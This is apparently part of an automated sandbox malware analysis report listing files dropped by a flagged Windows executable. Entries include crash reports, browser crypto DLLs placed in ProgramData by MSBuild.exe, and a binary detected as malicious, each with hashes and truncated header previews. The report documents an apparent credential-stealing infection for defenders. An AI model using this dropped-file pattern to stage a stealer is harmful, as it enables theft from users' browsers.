SHA-256:	EA58B049C423125F289E21177FBA00B8494E6D056A2CAC115AB6357FC9ADACE4
SHA-512:	56F81C4CF23E8705D19AFC576B4AD3D9ACBC6C19E4100A5AC8EBB6615452BBCC5F70CED5ADCF3F8BBFE155218CA274E9E2A6555D38C6E3C269B82F0CBE7430E6
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......$..`..`..`.....l...........u..R..r..R..t.....e..`..9..R.....Q..a..Qz.a..Q..a..Rich`..........PE..L...(..f...............'.....Z......fo............@..........................`............@.................................0m..<....0..................(&...@......xP...............................O..@...............4............................text............................... ..`.rdata..&...........................@..@.data................b..............@....rsrc........0......................@..@.reloc.......@......................@..B................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_GCGHCBKFCF.exe_ada9b7d733834e89c5d2bad1fe3376354d7d56ef_0600d451_92a08c37-cc9f-4019-a683-2fd9e0024dfc\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.7044978489589017
Encrypted:	false
SSDEEP:	192:KRxQL0QfVINkY00BU/VP+ju1zuiFpZ24IO8VoW:4i6NZvBU/gjczuiFpY4IO87
MD5:	8C1F6E7B49283E623FB74EC1F328A741
SHA1:	76870041CFD20A96B8B3F4AA8DA141757C813218
SHA-256:	853B042F9F9657567A6AC861AD96887957B92D401D03AE79D048DC0134CA204B
SHA-512:	29A4A5DAA20527CB6563892A8AEFCEA3EE179A5DC0DEE8B3C1F1892F66B1651CC7916E07353A8522E9ABDADEBCE4B432AD6210524A0FC5AB219F646FE0C3F624
Malicious:	true
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.B.E.X.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.2.5.0.1.9.6.2.6.2.5.0.9.4.6.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.2.5.0.1.9.6.3.0.3.1.3.4.8.9.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.9.2.a.0.8.c.3.7.-.c.c.9.f.-.4.0.1.9.-.a.6.8.3.-.2.f.d.9.e.0.0.2.4.d.f.c.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.a.5.2.b.b.5.e.2.-.d.a.d.3.-.4.3.d.4.-.b.9.2.a.-.7.d.c.5.3.a.6.f.4.0.b.0.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.G.C.G.H.C.B.K.F.C.F...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.b.4.c.-.0.0.0.1.-.0.0.1.4.-.6.6.4.9.-.2.e.6.4.3.2.1.6.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.d.0.6.8.9.e.b.3.8.b.d.0.0.1.c.3.e.e.7.7.8.e.d.9.a.e.6.8.d.7.d.4.0.0.0.0.f.f.f.f.!.0.0.0.0.c.1.c.e.5.3.6.b.d.a.d.5.6.e.b.9.7.6.2.5.a.1.e.e.5.3.b.f.d.1.f.3.a.f.e.b.4.f.f.6.!.G.C.G.H.C.B.K.F.C.F...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_file.exe_d39b794c1828490422b2b358ab5c7d8e0ff5554_462595ac_0fd2c18d-71f9-410c-a9bb-26d8b08c90a2\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.6986578594198333
Encrypted:	false
SSDEEP:	192:ynAU5FkmEv3PlD0BU/fI3ju1zuiFOZ24IO8kVB:yG3NwBU/YjczuiFOY4IO8a
MD5:	EE170680D7D2035792F02354845ADDD1
SHA1:	24549B42FD71C97B4B78B42410A92CC95F6AF68C
SHA-256:	63F22C7991C5BAA529864B12457A6706342E67D3A3321BC8BE6A9A7FFA05DA74
SHA-512:	A4416588BAF3173F7513801D647830A740A51FE456C3D19D6F3265CE97253708642EEF522C7F8E269D536CBFA3F1CEB9F6679CCD5E8EE118829CE0481980B8B7
Malicious:	true
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.B.E.X.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.2.5.0.1.9.1.5.3.3.8.5.8.9.8.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.2.5.0.1.9.1.5.6.9.7.9.5.9.0.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.0.f.d.2.c.1.8.d.-.7.1.f.9.-.4.1.0.c.-.a.9.b.b.-.2.6.d.8.b.0.8.c.9.0.a.2.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.3.b.a.7.2.6.3.2.-.2.1.5.9.-.4.a.e.9.-.8.2.c.e.-.b.6.3.d.8.8.d.f.c.4.d.e.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.f.i.l.e...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.b.4.c.-.0.0.0.1.-.0.0.1.4.-.1.7.c.9.-.d.b.4.7.3.2.1.6.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.7.e.4.9.2.d.7.6.8.e.7.9.7.3.1.6.2.4.b.c.d.f.2.e.7.6.1.5.f.9.1.8.0.0.0.0.f.f.f.f.!.0.0.0.0.a.3.2.3.4.7.9.4.5.6.7.2.d.6.c.1.b.7.b.d.2.7.5.f.2.d.6.2.b.6.2.d.9.7.4.9.b.e.b.b.!.f.i.l.e...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.2.4././.1.0././.0.4.:.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER5779.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Fri Oct 4 07:52:42 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	35448
Entropy (8bit):	1.7003102172433495
Encrypted:	false
SSDEEP:	96:5+8XnQv6CIeq/fX4btx0lxZnW7sSi73+XzMcohNg7RieWWIkWIjtIWzhxQCRSr:zXn1cKHPSOrcINg73zhxQCRSr
MD5:	D9363180F86B61CBA7A9773156AA37CB
SHA1:	28AACDBCAF45BFA61796EC1A22DA036982A044C7
SHA-256:	3BEF4047450CA6B12FA4A3B51F9C857AF18124157129E68AA6EFC79F66C9DFFF
SHA-512:	815402AC6BADEF206F4DF3E4DE60966A1465BEA014E4765FA716D55D1FBAF0226990C360787482E02357ABBBF1AE411CD1776FF65FFC75DFCDDF4992DCD524A9
Malicious:	false
Preview:	MDMP..a..... .........f........................X...............Z...........T.......8...........T................~......................................................................................................eJ......x.......GenuineIntel............T.......L.....f.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER57E8.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8398
Entropy (8bit):	3.7043563038416853
Encrypted:	false
SSDEEP:	192:R6l7wVeJGVe6pIe6YXP6rLvgmfXcapr089blwsf+xjXm:R6lXJ16/6Yf63vgmfs+lDf+I
MD5:	633D804C1D58EFCD7CD939FCCFF81919
SHA1:	22CCF807D1E4E937B0B8BB53365437C6D2B8A374
SHA-256:	461429C607A74E2A4F66ED193CEA0E437CDB1ED60864FEAAB51B1BC3A4A67DFB
SHA-512:	04D9773D88145BA19C5F957FB83B37544150AE9F8A7412CD6572A09AA9EA85FD89C06EFCD1F2DDA1121843FBE8FD1373AB5EF57D3FBABAEF1798EF980446A781
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.6.9.8.8.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER5846.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4720
Entropy (8bit):	4.497102432465089
Encrypted:	false
SSDEEP:	48:cvIwWl8zs3Jg77aI9H/sWpW8VYlMPYm8M4JqHFy1W3+q8vf66dd3d:uIjfZI7t/F7VQMSJ71W3KCsd3d
MD5:	588ACEC33BB8F8D422EB41316DB4B8DD
SHA1:	8A3ACB6F2716D1D91213625049C7513286936E4A
SHA-256:	DE0E1C6C2BF23641BB7AFB1C92D174F242E024727736ACF480178E10D91C83D7
SHA-512:	B3D2A4B4899FFC9FACE800933408EBC3C3E34BCCA2832615C42E2C59E357D101A54C0E8387D7137CFF9591585ED184E0266BFB9B7C0510E39979750A08CA561C
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="528415" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WER9EB8.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Fri Oct 4 07:51:55 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	33352
Entropy (8bit):	1.7874896329254828
Encrypted:	false
SSDEEP:	192:msjI5XkdtOkh8pxkYqcF8dfM7uOvFCFNT:REW2kOkYqcFoOv
MD5:	55699E3D9F03FE69CA284FE6A48E89B0
SHA1:	E1F351D1F7B0B256A3A2F0FC1FEC544AD1B9D960
SHA-256:	70C11F18A5C89E028B93E507ABFB3A198DBE60BAE082D4393663D5F04E44E878
SHA-512:	0561E78D9B3AECF84C446646508F61A66650BBD3A9892E5451F29E2E609DE392B84F28D72F05855806710123985F2B748F34E7AF207DB1547C4C629DCC65BEC7
Malicious:	false
Preview:	MDMP..a..... ..........f........................X...............N...........T.......8...........T...............Xv......................................................................................................eJ......x.......GenuineIntel............T.......L......f.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER9F17.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8374
Entropy (8bit):	3.694828421152505
Encrypted:	false
SSDEEP:	192:R6l7wVeJFCR6P06Y9xSU+Azgmf6kaprr89boIsf54m:R6lXJW6M6YbSU+AzgmfFjo7fT
MD5:	6C6A5E239FD30F16E6D67A8B78193C9E
SHA1:	624A41B6EB1FBAF9847F63FDCFDA547A4CFF510C
SHA-256:	EB2560C9236C0382B6F14B5784F6A39D0873B91AFCA6C149257F91B8A35FBA45
SHA-512:	96D6873CC65674C624EC1F8E98E61D011924434C4D38FF15D0B5E6CD97D7ACEE7D3D46ED07D44814C0FAB087D7C9DEE493C1CBFD7B1F7D2F0D4E2DE4679C7455
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.6.9.8.8.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER9F47.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4690
Entropy (8bit):	4.457604022104655
Encrypted:	false
SSDEEP:	48:cvIwWl8zsIJg77aI9H/sWpW8VYbYm8M4JxHFho+q8vCfyFUIn5d:uIjfOI7t/F7VPJ+KgyuIn5d
MD5:	DCE0A058914E3F59E0BB3E767C6A68DA
SHA1:	A3ED1D8FC9CD200CE25D4477114E238574E56407
SHA-256:	985C704B58E0F494D09D707974FD86B75E7B0E5821F2F8A4258156F7CE6E1817
SHA-512:	6EF3C15AC84E38BC8D060FC42B660271FEB3622DD2435D42AA882AECA2B72F11F99945D4ADFCEDC1A3F0DFCF5CDAE8BA9C59A2CC6F82E31B01DD3624A656B69F
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="528414" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: 6828ce64fe184aebd297c90e4c84b912.exe, Detection: malicious, Browse Filename: NJna3TEAEr.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\a43486128347[1].exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	539688
Entropy (8bit):	7.744718235587733
Encrypted:	false
SSDEEP:	12288:xLhw2Sg/jx80mcSoF9y8Dkd7hCsBTQadAj0t/Bk1LzAfjtAywtoYAzPsEO:HBjaiSoXyuQFBB8aGj0V/jOJtoFst
MD5:	A16E47444D809D548BD0BA7C9869750A
SHA1:	C1CE536BDAD56EB97625A1EE53BFD1F3AFEB4FF6
SHA-256:	EA58B049C423125F289E21177FBA00B8494E6D056A2CAC115AB6357FC9ADACE4
SHA-512:	56F81C4CF23E8705D19AFC576B4AD3D9ACBC6C19E4100A5AC8EBB6615452BBCC5F70CED5ADCF3F8BBFE155218CA274E9E2A6555D38C6E3C269B82F0CBE7430E6
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......$..`..`..`.....l...........u..R..r..R..t.....e..`..9..R.....Q..a..Qz.a..Q..a..Rich`..........PE..L...(..f...............'.....Z......fo............@..........................`............@.................................0m..<....0..................(&...@......xP...............................O..@...............4............................text............................... ..`.rdata..&...........................@..@.data................b..............@....rsrc........0......................@..@.reloc.......@......................@..B................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\msvcp140[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

